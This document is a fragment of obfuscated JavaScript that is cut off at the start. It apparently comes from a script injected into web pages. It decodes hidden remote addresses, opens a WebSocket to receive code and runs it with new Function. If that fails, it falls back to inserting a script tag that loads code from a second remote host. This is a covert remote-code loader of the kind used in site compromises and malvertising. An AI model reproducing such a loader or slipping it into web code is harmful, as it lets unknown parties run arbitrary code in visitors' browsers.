RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};